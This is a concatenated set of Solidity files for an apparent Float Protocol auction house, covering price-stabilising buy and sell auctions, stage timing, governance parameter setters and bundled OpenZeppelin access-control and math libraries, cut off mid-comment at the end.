// solhint-disable function-max-lines
/// @inheritdoc IAuctionHouseActions
function start()
external
override(IAuctionHouseActions)
timedTransition
atStage(Stages.AuctionPending)
returns (uint64 newRound)
{
// Check we have up to date oracles, this also ensures we don't have
// auctions too close together (reverts based upon timeElapsed < periodSize).
bankEthOracle.update(address(bank), address(weth));
floatEthOracle.update(address(float), address(weth));
// [e27]
uint256 frozenBankInEth =
bankEthOracle.consult(
address(bank),
SafeDecimalMath.PRECISE_UNIT,
address(weth)
);
// [e27]
uint256 frozenFloatInEth =
floatEthOracle.consult(
address(float),
SafeDecimalMath.PRECISE_UNIT,
address(weth)
);
// Update Monetary Policy with previous auction results
if (round != 0 && shouldUpdatePolicy) {
uint256 oldTargetPriceInEth = monetaryPolicy.consult();
uint256 oldBasketFactor = basket.getBasketFactor(oldTargetPriceInEth);
monetaryPolicy.updateGivenAuctionResults(
round,
lastAuctionBlock,
frozenFloatInEth,
oldBasketFactor
);
}
// Round only increments by one on start, given auction period of restriction of 150 blocks
// this means we'd need 2**64 / 150 blocks or ~3.7 lifetimes of the universe to overflow.
// Likely, we'd have upgraded the contract by this point.
round++;
// Calculate target price [e27]
uint256 frozenTargetPriceInEth = monetaryPolicy.consult();
// STC: Pull out to ValidateOracles
require(frozenTargetPriceInEth != 0, "AuctionHouse/TargetSenseCheck");
require(frozenBankInEth != 0, "AuctionHouse/BankSenseCheck");
require(frozenFloatInEth != 0, "AuctionHouse/FloatSenseCheck");
uint256 basketFactor = basket.getBasketFactor(frozenTargetPriceInEth);
bool expansion = frozenFloatInEth >= frozenTargetPriceInEth;
Cases stabilisationCase = _currentCase(expansion, basketFactor);
// Calculate Auction Price points
(uint256 wethStart, uint256 bankStart) =
_startPrice(
expansion,
stabilisationCase,
frozenTargetPriceInEth,
frozenFloatInEth,
frozenBankInEth,
basketFactor
);
(uint256 wethEnd, uint256 bankEnd) =
_endPrice(
stabilisationCase,
frozenTargetPriceInEth,
frozenBankInEth,
basketFactor
);
// Calculate Allowance
uint256 allowance =
AuctionHouseMath.allowance(
expansion,
allowanceCap,
float.totalSupply(),
frozenFloatInEth,
frozenTargetPriceInEth
);
require(allowance != 0, "AuctionHouse/NoAllowance");
auctions[round].stabilisationCase = stabilisationCase;
auctions[round].targetFloatInEth = frozenTargetPriceInEth;
auctions[round].marketFloatInEth = frozenFloatInEth;
auctions[round].bankInEth = frozenBankInEth;
auctions[round].basketFactor = basketFactor;
auctions[round].allowance = allowance;
auctions[round].startWethPrice = wethStart;
auctions[round].startBankPrice = bankStart;
auctions[round].endWethPrice = wethEnd;
auctions[round].endBankPrice = bankEnd;
lastAuctionBlock = _blockNumber();
_setStage(Stages.AuctionActive);
emit NewAuction(round, allowance, frozenTargetPriceInEth, lastAuctionBlock);
return round;
}
// solhint-enable function-max-lines
/* |||||||||| AuctionActive |||||||||| */
function _updateDelta(uint256 floatDelta) internal {
Auction memory _currentAuction = latestAuction();
require(
floatDelta <= _currentAuction.allowance.sub(_currentAuction.delta),
"AuctionHouse/WithinAllowedDelta"
);
auctions[round].delta = _currentAuction.delta.add(floatDelta);
}
/* |||||||||| AuctionActive:inExpansion |||||||||| */
/// @inheritdoc IAuctionHouseActions
function buy(
uint256 wethInMax,
uint256 bankInMax,
uint256 floatOutMin,
address to,
uint256 deadline
)
external
override(IAuctionHouseActions)
timedTransition
atStage(Stages.AuctionActive)
inExpansion
returns (
uint256 usedWethIn,
uint256 usedBankIn,
uint256 usedFloatOut
)
{
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= deadline, "AuctionHouse/TransactionTooOld");
(uint256 wethPrice, uint256 bankPrice) = price();
usedFloatOut = Math.min(
wethInMax.divideDecimalRoundPrecise(wethPrice),
bankPrice == 0
? type(uint256).max
: bankInMax.divideDecimalRoundPrecise(bankPrice)
);
require(usedFloatOut != 0, "AuctionHouse/ZeroFloatBought");
require(usedFloatOut >= floatOutMin, "AuctionHouse/RequestedTooMuch");
usedWethIn = wethPrice.multiplyDecimalRoundPrecise(usedFloatOut);
usedBankIn = bankPrice.multiplyDecimalRoundPrecise(usedFloatOut);
require(wethInMax >= usedWethIn, "AuctionHouse/MinimumWeth");
require(bankInMax >= usedBankIn, "AuctionHouse/MinimumBank");
_updateDelta(usedFloatOut);
emit Buy(round, _msgSender(), usedWethIn, usedBankIn, usedFloatOut);
_interactBuy(usedWethIn, usedBankIn, usedFloatOut, to);
return (usedWethIn, usedBankIn, usedFloatOut);
}
function _interactBuy(
uint256 usedWethIn,
uint256 usedBankIn,
uint256 usedFloatOut,
address to
) internal {
weth.safeTransferFrom(_msgSender(), address(basket), usedWethIn);
if (usedBankIn != 0) {
(uint256 bankToSave, uint256 bankToBurn) =
usedBankIn.splitBy(protocolFee);
bank.safeTransferFrom(_msgSender(), address(this), bankToSave);
bank.safeBurnFrom(_msgSender(), bankToBurn);
}
float.safeMint(to, usedFloatOut);
}
/* |||||||||| AuctionActive:inContraction |||||||||| */
/// @inheritdoc IAuctionHouseActions
function sell(
uint256 floatIn,
uint256 wethOutMin,
uint256 bankOutMin,
address to,
uint256 deadline
)
external
override(IAuctionHouseActions)
timedTransition
atStage(Stages.AuctionActive)
inContraction
returns (
uint256 usedfloatIn,
uint256 usedWethOut,
uint256 usedBankOut
)
{
// solhint-disable-next-line not-rely-on-time
require(block.timestamp <= deadline, "AuctionHouse/TransactionTooOld");
require(floatIn != 0, "AuctionHouse/ZeroFloatSold");
(uint256 wethPrice, uint256 bankPrice) = price();
usedWethOut = wethPrice.multiplyDecimalRoundPrecise(floatIn);
usedBankOut = bankPrice.multiplyDecimalRoundPrecise(floatIn);
require(wethOutMin <= usedWethOut, "AuctionHouse/ExpectedTooMuchWeth");
require(bankOutMin <= usedBankOut, "AuctionHouse/ExpectedTooMuchBank");
_updateDelta(floatIn);
emit Sell(round, _msgSender(), floatIn, usedWethOut, usedBankOut);
_interactSell(floatIn, usedWethOut, usedBankOut, to);
return (floatIn, usedWethOut, usedBankOut);
}
function _interactSell(
uint256 floatIn,
uint256 usedWethOut,
uint256 usedBankOut,
address to
) internal {
float.safeBurnFrom(_msgSender(), floatIn);
if (usedWethOut != 0) {
weth.safeTransferFrom(address(basket), to, usedWethOut);
}
if (usedBankOut != 0) {
// STC: Maximum mint checks relative to allowance
bank.safeMint(to, usedBankOut);
}
}
/* |||||||||| AuctionCooldown, AuctionPending, AuctionActive |||||||||| */
/* ========== RESTRICTED FUNCTIONS ========== */
/* ----- onlyGovernance ----- */
/// @inheritdoc IAuctionHouseGovernedActions
function modifyParameters(bytes32 parameter, uint256 data)
external
override(IAuctionHouseGovernedActions)
onlyGovernance
{
if (parameter == "auctionDuration") {
require(data <= type(uint16).max, "AuctionHouse/ModADMax");
require(data != 0, "AuctionHouse/ModADZero");
auctionDuration = uint16(data);
} else if (parameter == "auctionCooldown") {
require(data <= type(uint32).max, "AuctionHouse/ModCMax");
auctionCooldown = uint32(data);
} else if (parameter == "buffer") {
// 0% <= buffer <= 1000%
require(data <= 10 * BasisMath.FULL_PERCENT, "AuctionHouse/ModBMax");
buffer = uint16(data);
} else if (parameter == "protocolFee") {
// 0% <= protocolFee <= 100%
require(data <= BasisMath.FULL_PERCENT, "AuctionHouse/ModPFMax");
protocolFee = uint16(data);
} else if (parameter == "allowanceCap") {
// 0% < allowanceCap <= N ~ 1_000%
require(data <= type(uint32).max, "AuctionHouse/ModACMax");
require(data != 0, "AuctionHouse/ModACMin");
allowanceCap = uint32(data);
} else if (parameter == "shouldUpdatePolicy") {
require(data == 1 || data == 0, "AuctionHouse/ModUP");
shouldUpdatePolicy = data == 1;
} else if (parameter == "lastAuctionBlock") {
// We wouldn't want to disable auctions for more than ~4.3 weeks
// A longer period should result in a "burnt" auction house and redeploy.
require(data <= block.number + 2e5, "AuctionHouse/ModLABMax");
require(data != 0, "AuctionHouse/ModLABMin");
// Can be used to pause auctions if set in the future.
lastAuctionBlock = data;
} else revert("AuctionHouse/InvalidParameter");
emit ModifyParameters(parameter, data);
}
/// @inheritdoc IAuctionHouseGovernedActions
function modifyParameters(bytes32 parameter, address data)
external
override(IAuctionHouseGovernedActions)
onlyGovernance
{
if (parameter == "monetaryPolicy") {
// STC: Sense check
monetaryPolicy = IMonetaryPolicy(data);
} else if (parameter == "bankEthOracle") {
// STC: Sense check
bankEthOracle = ITwap(data);
} else if (parameter == "floatEthOracle") {
// STC: Sense check
floatEthOracle = ITwap(data);
} else revert("AuctionHouse/InvalidParameter");
emit ModifyParameters(parameter, data);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "../lib/BlockNumber.sol";
contract Staged is BlockNumber {
/**
* @dev The current auction stage.
* - AuctionCooling - We cannot start an auction due to Cooling Period.
* - AuctionPending - We can start an auction at any time.
* - AuctionActive - Auction is ongoing.
*/
enum Stages {AuctionCooling, AuctionPending, AuctionActive}
/* ========== STATE VARIABLES ========== */
/**
* @dev The cooling period between each auction in blocks.
*/
uint32 internal auctionCooldown;
/**
* @dev The length of the auction in blocks.
*/
uint16 internal auctionDuration;
/**
* @notice The current stage
*/
Stages public stage;
/**
* @notice Block number when the last auction started.
*/
uint256 public lastAuctionBlock;
/* ========== CONSTRUCTOR ========== */
constructor(
uint16 _auctionDuration,
uint32 _auctionCooldown,
uint256 _firstAuctionBlock
) {
require(
_firstAuctionBlock >= _auctionDuration + _auctionCooldown,
"Staged/InvalidAuctionStart"
);
auctionDuration = _auctionDuration;
auctionCooldown = _auctionCooldown;
lastAuctionBlock = _firstAuctionBlock - _auctionDuration - _auctionCooldown;
stage = Stages.AuctionCooling;
}
/* ============ Events ============ */
event StageChanged(uint8 _prevStage, uint8 _newStage);
/* ========== MODIFIERS ========== */
modifier atStage(Stages _stage) {
require(stage == _stage, "Staged/InvalidStage");
_;
}
/**
* @dev Modify the stages as necessary on call.
*/
modifier timedTransition() {
uint256 _blockNumber = _blockNumber();
if (
stage == Stages.AuctionActive &&
_blockNumber > lastAuctionBlock + auctionDuration
) {
stage = Stages.AuctionCooling;
emit StageChanged(uint8(Stages.AuctionActive), uint8(stage));
}
// Note that this can cascade so AuctionActive -> AuctionPending in one update, when auctionCooldown = 0.
if (
stage == Stages.AuctionCooling &&
_blockNumber > lastAuctionBlock + auctionDuration + auctionCooldown
) {
stage = Stages.AuctionPending;
emit StageChanged(uint8(Stages.AuctionCooling), uint8(stage));
}
_;
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Updates the stage, even if a function with timedTransition modifier has not yet been called
* @return Returns current auction stage
*/
function updateStage() external timedTransition returns (Stages) {
return stage;
}
/**
* @dev Set the stage manually.
*/
function _setStage(Stages _stage) internal {
Stages priorStage = stage;
stage = _stage;
emit StageChanged(uint8(priorStage), uint8(_stage));
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "@openzeppelin/contracts/math/Math.sol";
import "../lib/BasisMath.sol";
import "../external-lib/SafeDecimalMath.sol";
contract AuctionHouseMath {
using SafeMath for uint256;
using SafeDecimalMath for uint256;
using BasisMath for uint256;
/**
* @notice Calculate the maximum allowance for this action to do a price correction
* This is normally an over-estimate as it assumes all Float is circulating
* and the market cap is constant through supply changes.
*/
function allowance(
bool expansion,
uint256 capBasisPoint,
uint256 floatSupply,
uint256 marketFloatPrice,
uint256 targetFloatPrice
) internal pure returns (uint256) {
uint256 targetSupply =
marketFloatPrice.mul(floatSupply).div(targetFloatPrice);
uint256 allowanceForAdjustment =
expansion ? targetSupply.sub(floatSupply) : floatSupply.sub(targetSupply);
// Cap Allowance per auction; e.g. with 10% of total supply => ~20% price move.
uint256 allowanceByCap = floatSupply.percentageOf(capBasisPoint);
return Math.min(allowanceForAdjustment, allowanceByCap);
}
/**
* @notice Linear interpolation: start + (end - start) * (step/duration)
* @dev For 150 steps, duration = 149, start / end can be in any format
* as long as <= 10 ** 49.
* @param start The starting value
* @param end The ending value
* @param step Number of blocks into interpolation
* @param duration Total range
*/
function lerp(
uint256 start,
uint256 end,
uint256 step,
uint256 duration
) internal pure returns (uint256 result) {
require(duration != 0, "AuctionHouseMath/ZeroDuration");
require(step <= duration, "AuctionHouseMath/InvalidStep");
// Max value <= 2^256 / 10^27 of which 10^49 is.
require(start <= 10**49, "AuctionHouseMath/StartTooLarge");
require(end <= 10**49, "AuctionHouseMath/EndTooLarge");
// 0 <= t <= PRECISE_UNIT
uint256 t = step.divideDecimalRoundPrecise(duration);
// result = start + (end - start) * t
// = end * t + start - start * t
return
result = end.multiplyDecimalRoundPrecise(t).add(start).sub(
start.multiplyDecimalRoundPrecise(t)
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import "./ah/IAuctionHouseState.sol";
import "./ah/IAuctionHouseVariables.sol";
import "./ah/IAuctionHouseDerivedState.sol";
import "./ah/IAuctionHouseActions.sol";
import "./ah/IAuctionHouseGovernedActions.sol";
import "./ah/IAuctionHouseEvents.sol";
/**
* @title The interface for a Float Protocol Auction House
* @notice The Auction House enables the sale and buy of FLOAT tokens from the
* market in order to stabilise price.
* @dev The Auction House interface is broken up into many smaller pieces
*/
interface IAuctionHouse is
IAuctionHouseState,
IAuctionHouseVariables,
IAuctionHouseDerivedState,
IAuctionHouseActions,
IAuctionHouseGovernedActions,
IAuctionHouseEvents
{
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
interface IBasketReader {
/**
* @notice Underlying token that is kept in this Basket
*/
function underlying() external view returns (address);
/**
* @notice Given a target price, what is the basket factor
* @param targetPriceInUnderlying the current target price to calculate the
* basket factor for in the units of the underlying token.
*/
function getBasketFactor(uint256 targetPriceInUnderlying)
external
view
returns (uint256 basketFactor);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.8.0;
interface ITwap {
/**
* @notice Returns the amount out corresponding to the amount in for a given token using the moving average over time range [`block.timestamp` - [`windowSize`, `windowSize - periodSize * 2`], `block.timestamp`].
* E.g. with a windowSize = 24hrs, periodSize = 6hrs.
* [24hrs ago to 12hrs ago, now]
* @dev Update must have been called for the bucket corresponding to the timestamp `now - windowSize`
* @param tokenIn the address of the token we are offering
* @param amountIn the quantity of tokens we are pricing
* @param tokenOut the address of the token we want
* @return amountOut the `tokenOut` amount corresponding to the `amountIn` for `tokenIn` over the time range
*/
function consult(
address tokenIn,
uint256 amountIn,
address tokenOut
) external view returns (uint256 amountOut);
/**
* @notice Checks if a particular pair can be updated
* @param tokenA Token A of pair (any order)
* @param tokenB Token B of pair (any order)
* @return If an update call will succeed
*/
function updateable(address tokenA, address tokenB)
external
view
returns (bool);
/**
* @notice Update the cumulative price for the observation at the current timestamp. Each observation is updated at most once per epoch period.
* @param tokenA the first token to create pair from
* @param tokenB the second token to create pair from
* @return if the observation was updated or not.
*/
function update(address tokenA, address tokenB) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.8.0;
interface IMonetaryPolicy {
/**
* @notice Consult the monetary policy for the target price in eth
*/
function consult() external view returns (uint256 targetPriceInEth);
/**
* @notice Update the Target price given the auction results.
* @dev 0 values are used to indicate missing data.
*/
function updateGivenAuctionResults(
uint256 round,
uint256 lastAuctionBlock,
uint256 floatMarketPrice,
uint256 basketFactor
) external returns (uint256 targetPriceInEth);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface ISupplyControlledERC20 is IERC20 {
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) external;
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) external;
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* See {ERC20-_burn}.
*/
function burnFrom(address account, uint256 amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
/**
* @title Basis Mathematics
* @notice Provides helpers to perform percentage calculations
* @dev Percentages are [e2] i.e. with 2 decimals precision / basis point.
